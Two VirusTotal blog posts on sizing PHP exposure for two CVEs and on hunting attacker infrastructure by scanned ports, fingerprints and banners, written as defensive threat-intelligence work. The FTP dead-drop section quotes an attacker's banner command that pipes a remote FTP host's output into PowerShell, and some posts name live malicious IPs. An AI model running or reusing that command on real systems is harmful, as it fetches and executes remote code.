❌

Reading view

↗️

Sizing the PHP exposure window for CVE-2026-109618 and CVE-2026-109619 with VirusTotal

✇VirusTotal Blog
By: Joseliyo Sánchez
On October 20, the PHP security team announced an out-of-band security release for Wednesday, October 21, 2026 at 14:00 UTC, fixing two critical vulnerabilities rated CVSS v4.0 9.2 (CVE-2026-109618 and CVE-2026-109619). Hours before the release, technical details leaked publicly. They point to the session.upload_progress feature, which has been part of PHP since 5.4.0 and is enabled by default. The community quickly converged on an interim mitigation: set session.upload_progress.enabled = Off in php.ini.
That leaves defenders with two questions: how big is the exposed surface, and where should they start? We used Internet Scanning in VirusTotal to answer both.
Note: Official details, affected versions and fixed versions are published by the PHP project with the release. The figures below describe the Internet-facing PHP footprint, not confirmed vulnerable hosts.

Most PHP servers don't say they are PHP

VirusTotal fingerprints roughly 5.1 million IP addresses running PHP (port_service_cpe:php), about 3.8 million of them with at least one port open today. Only around 1.1 million of those announce a version in an HTTP header such as X-Powered-By: PHP/8.3.35.
In other words, roughly four out of five PHP servers hide their version (expose_php = Off, stripped headers, reverse proxies). VirusTotal still identifies them as PHP through other signals: the application on top (WordPress, Laravel, Nextcloud...), PHPSESSID cookies and framework-specific headers. If you only search for a version string, you only see the fraction of the problem that volunteers it.

The version picture: the long tail of end-of-life PHP

Among the servers that do disclose their version, the split is stark:
PHP versions disclosed in service banners: supported, end-of-life and pre-5.4 branches

  • ~272K run a supported branch (8.2 to 8.5), the only branches that receive security fixes from the PHP project.
  • ~758K run an end-of-life branch between 5.4 and 8.1. These branches have session.upload_progress enabled by default and no longer receive security fixes. PHP 7.4 alone accounts for ~187K IPs and PHP 5.4 for ~119K.
  • ~88K run PHP 5.2 or 5.3, which predate session.upload_progress.
Being up to date doesn't buy much time either: about 85K IPs run the exact releases published on September 24 (8.3.35, 8.2.34, 8.4.26 and 8.5.11), the latest available before this fix.
Latest PHP releases before the fix and other open ports on PHP hosts

What runs on top, and where

Apache (~2.9M) and nginx (~1.48M) are the web servers most often seen on PHP hosts, followed by LiteSpeed (~90K). On the application side, WordPress dominates with ~538K IPs, followed by Laravel (~141K) and Nextcloud (~107K). Webmail (Roundcube) and database admin panels (phpMyAdmin) add another ~25K high-value targets.
Web servers and applications detected on PHP hosts

The geography is concentrated: the United States accounts for ~920K PHP hosts with at least one open port, and a handful of cloud and hosting providers (AWS, DigitalOcean, Alibaba, OVHcloud, Hetzner) concentrate a large share. That concentration is good news for remediation: a few providers that push a configuration change or a WAF rule can cover a lot of ground.
Top countries and selected hosting providers for PHP hosts with an open port

Going beyond the web port

PHP rarely travels alone. ~394K PHP hosts also have port 22 open (SSH by default), ~233K port 3306 (MySQL) and ~68K port 3389 (RDP). Those co-exposed services are useful for something else: identifying the exact build behind the web server.
The leaked material references LiteSpeed lsphp82 8.2.34 builds for Debian 12, Ubuntu 22.04 and Ubuntu 24.04, and notes that HTTP headers alone don't tell those builds apart. The OpenSSH package on port 22 does. With the bracket syntax, every condition is pinned to its port:
entity:ip port_service_cpe:php port_banner:"PHP/8.2.34" port_service_version[22]:"9.6p1 Ubuntu"
Of the ~3.5K IPs whose banners show both LiteSpeed and PHP 8.2.34, about 500 also have port 22 open. Across all PHP 8.2.34 hosts, the OpenSSH package on port 22 matches Ubuntu 24.04 on 269 IPs, Ubuntu 22.04 on 112 and Debian 12 on 65. For a defender, that is the difference between "patch everything" and "these are the machines that match the leaked target profile, patch them first". Keep in mind that port 22 reveals the host operating system: PHP may still run inside a container built on a different base image.
Ports tab of a PHP 8.2.34 host showing HTTP and OpenSSH on port 22

Adversaries run PHP too

The exposed surface also includes attacker infrastructure. Around 5.7K PHP hosts with at least one open port have five or more detections in VirusTotal, 729 of them disclosing PHP 8.x. One of them is an old acquaintance: the NOX Stealer panel (rebranded as BOMBAY) on 5.175.221[.]206:8443, which we profiled in our Internet Scanning post, runs nginx 1.24.0 with PHP/8.3.33.
Ports tab of 5.175.221.206 showing nginx 1.24.0 and PHP/8.3.33 on port 8443

What the VirusTotal corpus saw

The leak left traces across VirusTotal. The archive referenced in the write-up was first submitted at 02:29 UTC on October 21, less than 15 minutes after the first submission of the write-up URL. By the time of writing, 21 crowdsourced reports covering the vulnerabilities had been ingested as collections. Following entity:collection collection_type:report "CVE-2026-109618" is the fastest way to keep up with new reporting as it appears.
VirusTotal search results for crowdsourced reports about CVE-2026-109618

What to do now

  1. Patch. Upgrade to the fixed release of your branch (8.2, 8.3, 8.4 or 8.5) as soon as it is available on php.net or through your distribution.
  2. Plan the EOL migration. PHP 8.1 and older no longer receive security fixes. If you are on 5.4 to 8.1, upgrade the branch or check whether your distribution or vendor ships a backport.
  3. Disable upload progress until you patch. Set session.upload_progress.enabled = Off in php.ini (or the pool configuration) and reload PHP-FPM, Apache or LSAPI. It only breaks upload progress bars that rely on the feature. Community analysis suggests it may not cover every vector, so treat it as a stopgap, not a fix.
  4. Filter multipart at the edge. Where an application doesn't need file uploads, block or inspect multipart/form-data requests before they reach PHP. Cloudflare shipped emergency rules to its Managed and Free rulesets on October 21, and its CTO stated that they cover known payloads, while stressing that only updating PHP fully protects a site.
  5. Make sure the WAF can't be bypassed. Edge rules only help if the origin is not directly reachable. Search your own ranges in VirusTotal (for example, entity:ip port_service_cpe:php asn:<your ASN>) to find origins that expose PHP directly to the Internet.
  6. Don't rely on hiding the version. expose_php = Off hides the header, not the vulnerability.

Queries used in this post

Query What it finds
entity:ip port_service_cpe:php All IPs where VirusTotal fingerprinted PHP on any port
entity:ip port_service_cpe:php port_status:open PHP hosts with at least one port currently open
entity:ip port_service_cpe:php port_banner:"PHP/" PHP hosts that disclose their version in an HTTP header
entity:ip port_service_cpe:php port_banner:"PHP/7.4." PHP hosts on a given branch (repeat for each branch from 5.2 to 8.5)
entity:ip port_service_cpe:php port_banner:"PHP/8.3.35" PHP hosts on the latest release before the fix (repeat for 8.2.34, 8.4.26 and 8.5.11)
entity:ip port_service_cpe:php port_service_cpe:nginx PHP hosts by web server (also "apache:http_server", lighttpd, internet_information_services)
entity:ip port_service_cpe:php port_banner:"LiteSpeed" PHP hosts by Server header (also openresty, Caddy)
entity:ip port_service_cpe:php port_service_cpe:wordpress PHP hosts by application (also laravel, nextcloud, drupal, joomla, roundcube, phpmyadmin...)
entity:ip port_service_cpe:php port_status:open country:US PHP hosts with an open port, by country
entity:ip port_service_cpe:php port_status:open asn:16509 PHP hosts with an open port, by hosting provider ASN
entity:ip port_service_cpe:php open_port:22 PHP hosts with another port open (also 3306, 3389, 445, 8443, 8000)
entity:ip port_service_cpe:php port_banner:"LiteSpeed" port_banner:"PHP/8.2.34" Hosts whose banners show both LiteSpeed and PHP 8.2.34, the profile referenced in the leak
entity:ip port_service_cpe:php port_banner:"PHP/8.2.34" port_service_version[22]:"9.6p1 Ubuntu" PHP 8.2.34 hosts whose OpenSSH package on port 22 is Ubuntu 24.04's (use 8.9p1 Ubuntu for Ubuntu 22.04 and deb12 for Debian 12)
entity:ip port_service_cpe:php port_status:open positives:5+ PHP hosts with an open port and five or more detections
entity:collection collection_type:report "CVE-2026-109618" Crowdsourced reports about the vulnerabilities
Note: All counts in this post were taken on October 21, 2026. For large result sets VirusTotal returns estimated totals that vary between runs, so we report the median of seven runs, rounded. Port modifiers without a port in brackets match per IP, not per port: port_service_cpe:php port_status:open means PHP was fingerprinted on the IP and at least one of its ports is open.

References

Happy hunting!

  •  
  • ↗️
↗️

Internet Scanning in VirusTotal: hunting infrastructure by what it exposes

✇VirusTotal Blog
By: Joseliyo Sánchez
Until now, an IP report in VirusTotal told you a lot about reputation, who hosts it, what resolves to it (passive DNS) and which files talk to it. It told you nothing about what the machine itself was running.
VirusTotal now scans the public IPv4 space every day and stores, for each IP, the open and closed ports, the service behind each port, its banner and its fingerprints. All of it is searchable. In this post we cover what you will find in the reports and how to use it to hunt and pivot, with real examples worked end to end.

What we store for every port

Each IP now carries a list of port records. Every record has two layers: the lifecycle of the port and the latest analysis of the service running on it.
Field What it tells you
Status open, closed or recently closed. Updated daily.
First seen / Open since / Last seen open When we first saw the port, since when it has been open without interruption, and the last day we saw it open.
Protocol, product and version The service identified on the port, e.g. ssh / OpenSSH / 9.6p1 Ubuntu 3ubuntu13.19.
CPEs Standard CPE identifiers for the product, useful to map the service to known vulnerabilities.
Banner The raw banner returned by the service.
OS and device type Operating system or device class inferred from the service (Linux, Windows, router, firewall...).
Fingerprints SSH host key fingerprints and RDP fingerprints.
Protocol details HTTP status line and response headers, SMTP capabilities, IMAP/POP3 capabilities and similar protocol-specific output.
The "closed" side matters as much as the "open" one. When a port stops answering we don't delete it: we keep the record, flip the status and preserve the last date it was seen open. That is what lets you answer "when did this C2 go dark?" weeks after it happened.
All of this lives in the new Ports tab of the IP report, with a table of every port we know about and a detailed card per port.

Searching the scanning data

Everything above is indexed and can be queried from the search bar or the API with entity:ip plus the new modifiers:
Modifier Example Matches
port entity:ip port:3389 IPs with any information on that port
open_port / closed_port entity:ip open_port:22 IPs where the port is currently open / closed
port_status entity:ip port_status:open Filter by port status
port_protocol entity:ip port_protocol:ssh Protocol running on the port
port_service_product entity:ip port_service_product:openssh Product name
port_service_version entity:ip port_service_version:8.2p1 Product version
port_service_cpe entity:ip port_service_cpe:"cpe:/o:linux:linux_kernel" CPE identifier
port_banner entity:ip port_banner:mikrotik Text inside the service banner
os_type / device_type entity:ip device_type:router Detected OS / device class
fingerprint entity:ip fingerprint:"SHA256:..." SSH or RDP fingerprint
The part we like most is the bracket syntax. On a host with several services, port_service_product:nginx port_service_version:1.24.0 would match even if nginx lives on one port and version 1.24.0 belongs to something else on another. Putting the port in brackets pins every condition to the same service:
entity:ip port_service_product[80]:nginx port_service_version[80]:1.24.0
entity:ip os_type[445]:Windows
entity:ip port_banner[21]:mikrotik
entity:ip port_service_cpe[22]:"cpe:/o:linux:linux_kernel"
The bracket form works for port_banner, port_protocol, port_service_product, port_service_version, port_service_cpe, os_type, device_type and fingerprint. And since these are regular modifiers, you can combine them with everything you already use for IPs: asn, country, ssl_subject, jarm, threat_actor, collection, have and so on.

A word about noise

Our first instinct was to hunt C2 frameworks by their default ports. entity:ip open_port:50050 (Cobalt Strike's default team server port) returned more than 1.5 million IPs. A quick look at the results explains why: many of those hosts answer on every port we probe, including 4444, 5552, 6606 or 8808 at the same time.
An open port on its own is a weak signal. What makes a query useful is what is behind the port: a product, a version, a banner string or a fingerprint.

Pivoting on an SSH host key: a real example

This is where the fingerprints earn their place. An SSH host key is generated when a server is installed. If two IPs present the same key, you are usually looking at the same machine that moved, or at a server cloned from the same image. In both cases, it could be related to the same operator.
We started from 91.219.237[.]110, an IP hosted in Hungary that appears in our APT28 collection and in a community collection about Havoc C2. Its Ports tab shows a small footprint: SSH on 22 and nginx on 80 redirecting to HTTPS.
Searching for that fingerprint gives exactly one other IP:
entity:ip fingerprint:"SHA256:SbF6+nFx6ngfUw2L+jsqN6uu5tdsFc5jUW849WA/Sxw"
IP Hosting Detections Collections
91.219.237[.]110 ServerAstra (HU) 3 APT28, Havoc
185.146.232[.]3 FlokiNET (IS) 0 none
The second IP has no detections, no collections and no communicating files. On reputation alone, nobody would look at it twice. But the port data says it is a twin of the first: same SSH key, same OpenSSH build, same nginx 1.24.0 on port 80 with the same redirect, and the same JARM. Its HTTPS certificate is issued to the same unusual common name as the first one, b4ck.my.

That certificate gives us a second, independent pivot:
entity:ip ssl_subject:"b4ck.my"
It returns a third IP, 96.9.125[.]59, hosted in Romania. Its Ports tab tells the rest of the story: both 22 and 80 are closed, SSH was last seen open on 2025-11-18 and HTTP on 2025-12-05. Meanwhile, the SSH service on 185.146.232[.]3 was first seen on 2025-11-22. It looks very much like whoever runs this cluster retired one node and stood up the next one within days.
Two honest caveats before anyone blocks anything.
Check the dates behind an attribution. The malware we have communicating with 91.219.237[.]110 was first submitted between 2009 and 2015. IPs get reassigned, and ten years is a long time. What the port data shows is that these three IPs share infrastructure today: the same SSH host key, the same uncommon certificate name and the same service stack, which suggests they are likely managed by the same operator. That is exactly the question a static reputation score can't answer. Whether that operator has anything to do with the old samples, or with APT28, is a separate investigation.
Check how many hits a fingerprint has. A shared key is only meaningful when it is rare. While preparing this post we found SSH keys shared by more than 1,400 IPs on the same cloud providers (VPS templates that ship a baked-in host key) and by more than 1,200 residential IPs on Brazilian ISPs (router firmware with a default key). Two or three hits is a lead. A thousand is a vendor. The same applies to JARM: the JARM of the servers above matches 1.7 million IPs, because it is simply what a default nginx looks like.
A useful habit is to write the final pivot as a single query, pinning each condition to its port. Here is the fingerprint of the cluster above:
entity:ip ssl_subject:"b4ck.my" port_service_version[22]:"9.6p1 Ubuntu 3ubuntu13.19"

From a URL hunt to a host profile: unmasking a NOX Stealer panel on port 8443

Not every investigation starts with an IP. Often you start by hunting suspicious URLs—for instance, operator login panels stood up directly on raw IP addresses and non-standard ports before a domain is ever pointed at them:
entity:url tag:ns-port tag:password-input tag:ip
Here, tag:ip restricts results to URLs hosted on a literal IP address, tag:ns-port filters for non-standard ports, and tag:password-input requires a password field in the rendered DOM.
One of the hits is https://5.175.221[.]206:8443/. On vendor detections alone, it looks harmless (1/96 detections) on the scan made by September 24, 2026. However, the screenshot captured in the URL report tells a very different story:
Screenshot of https://5.175.221.206:8443/login showing NOX Stealer operator login panel
The page is the operator login panel for NOX Stealer (title:"NOX STEALER - Login"), describing itself in its meta tags as a "Lightweight C++ infostealer with automated worm features".
If we pivot on that page title across URLs (entity:url title:"NOX STEALER"), we find 15 URLs across two sibling domains (grabber[.]cy and lumma[.]cy, the latter linked to dozens of trojan.lumma payloads).
Both domains sit behind Cloudflare, which hides the origin server and blocks infrastructure pivoting.
On 5.175.221[.]206, however, the operator exposed the panel directly on the machine. Clicking from the URL report to the host's Ports tab reveals the complete stack behind that login screen:
Port Status What the scanner captured
8443 open HTTPS (nginx 1.24.0, PHP/8.3.33) serving the NOX Stealer login panel
445 open SMB on Windows Server 2022 (os_type: 10.0.20348), NetBIOS host WIN-BM6C4ESB87V
3389 open RDP (Microsoft Terminal Services, Windows Server 2016/2019 fingerprint)
80 recently closed HTTP (last seen open 2026-09-24, returning 308 Permanent Redirect to HTTPS)
Instead of a generic Linux VPS, the panel is running on a Windows Server 2022 host with SMB and RDP exposed alongside nginx 1.24.0 and PHP on port 8443.
Searching for entity:ip open_port:8443 alone returns 4.5 million IPs, and entity:ip port_service_product[8443]:nginx still returns over 345,000. But by combining the web stack on port 8443 with the Windows build on port 445 using the bracket syntax, we cut those 4.5 million hosts down to just 10 IPs globally:
entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348 open_port:445 open_port:3389
That is how URL hunting and Internet Scanning complement each other: the URL search surfaces the login form on a non-standard port, the URL screenshot confirms the panel, and the IP's Ports tab gives you the multi-port host signature that Cloudflare was hiding on the domains.

Catching a live rebrand: NOX becomes BOMBAY

While we were putting this blog post together, https://5.175.221[.]206:8443/ was re-analyzed—and we caught the operator rebranding the panel in place from NOX Stealer to BOMBAY Stealer:
A few details from the new scan show why combining browser-based URL analysis with host-level scanning is so effective:
  • The static HTTP response went dark, but the rendered DOM caught the new title. In the initial scan, the server returned the full 11,408-byte HTML login page directly, indexing title:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only <meta name="robots" content="noindex">, leaving the static title attribute empty. Full-browser execution, however, rendered the page and captured the new <title> in the DOM: BOMBAY STEALER - Login (with og:title and og:site_name updated to BOMBAY STEALER).
  • New marketing pitch, same codebase. The updated <meta name="description"> in the rendered DOM now advertises "currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers"—even though the visible subtitle on the login card still reads "Lightweight, C++-native infostealer with automated worm propagation" word for word. Under the hood, the Tailwind CSS theme (#a855f7 / #030308), the panel_jwt session logic, and the MD5-prefixed routes (rotated from /29f69693228c27033209532b5a6a97d1/... to /3a85f1d2131fa2723ac6ade171eafacd/dashboard and /register) are identical.
  • The host fingerprint didn't blink. By swapping the brand name, rotating the path hash, and hiding behind a 193-byte response, the operator broke static string queries like title:"NOX STEALER". Yet the machine on 5.175.221[.]206 didn't change a single exposed service: nginx 1.24.0 and PHP/8.3.33 on port 8443, Windows Server 2022 (10.0.20348) on port 445, and RDP on port 3389 remain untouched.
If you want to dive deeper into how we analyze URLs and capture rendered DOMs and screenshots, check out our posts on Enriched URL Reports powered by full-browser execution in the GTI Community and URL Scanning 2.0 on the VirusTotal blog.

Hunting FTP banners used as dead drop resolvers

In August, the SOCRadar Threat Research Unit published an analysis of threat actors using FTP banners as dead drop resolvers. The trick is simple: a malicious LNK runs ftp <ip> | cmd, the FTP client prints the server's welcome banner, and the pipe hands that banner straight to a shell. The command never lives in the shortcut, it lives in the banner. The two clusters they tracked ended up delivering two new RATs, E4del and PINHOLE.
The banner is exactly what our scanner stores for every port, so the technique can be hunted directly:
entity:ip port_banner[21]:"conhost"
At the time of writing the query returns five IPs. All of them serve the same template on port 21, and only the next-hop IP changes:
start "" conhost.exe --headless cmd /c "ftp 167.148.41.164|powershell"
IP Hosting Port 21 Next hop in the banner
157.254.194[.]31 12651980 CANADA INC. (US) closed, last seen open 2026-08-10 167.148.41[.]164
54.37.237[.]164 OVH (FR) open, last seen 2026-10-01 54.37.237[.]166
51.89.199[.]125 OVH (GB) closed, last seen open 2026-08-31 51.89.199[.]118
185.14.92[.]162 Florian Kolb (DE) closed, seen open only on 2026-07-03 185.14.92[.]223
45.87.41[.]133 SpectraIP (NL) closed, last seen open 2026-07-08 64.111.92[.]89



A few things stand out once the hits are side by side:
  • The E4del chain, with dates. 157.254.194[.]31 pointing to 167.148.41[.]164 is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port 8000 and a Python SimpleHTTP server on port 8080, so it is worth keeping an eye on.
  • First and second hop sit next to each other. 54.37.237[.]164 hands off to .166 and 51.89.199[.]125 to .118, both on OVH, while 185.14.92[.]162 hands off to .223 on the same ASN. Once you find a first stage, its /24 is a cheap next place to look.
  • Earlier than reported. 45.87.41[.]133 was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop, 64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported.
  • Still live. 54.37.237[.]164 was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.

Using it from the API

The IP object now includes a port_info list, so the data comes with the calls you already make. There are also three new endpoints: /api/v3/port_infos/{ip}:{port} for the current state of a port, /api/v3/port_infos/{ip}:{port}/analysis for the full history of analyses of that port (paginated with a cursor), and /api/v3/port_analyses/{ip}:{port}:{timestamp} for a specific analysis.
# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests

BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}

def ports(ip):
    r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
    r.raise_for_status()
    for p in r.json()["data"]["attributes"].get("port_info", []):
        svc = p.get("latest_analysis", {}).get("port_service", {})
        fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
        print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)

def search(query, limit=40):
    r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
                     params={"query": query, "limit": limit}, timeout=120)
    r.raise_for_status()
    return [d["id"] for d in r.json().get("data", [])]

ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))
The status comes back as PORT_INFO_STATUS_OPEN, PORT_INFO_STATUS_CLOSED or PORT_INFO_STATUS_RECENTLY_CLOSED, and dates are Unix timestamps.

What about Livehunt?

Not yet. Livehunt rules for IPs use the vt.net.ip fields of the YARA vt module, and port data isn't exposed there today. Until it is, the practical workaround is to save your best queries and re-run them on a schedule through the API.

Wrapping up

Ports are the part of an IP that the operator can't hide from a scanner. A reputation score tells you what an IP did; the port data tells you what it is and what it looks like now, and it lets you find its siblings before they do anything. Open any IP report, go to the Ports tab, and search for the first fingerprint you see.
Happy hunting!

  •  
  • ↗️
❌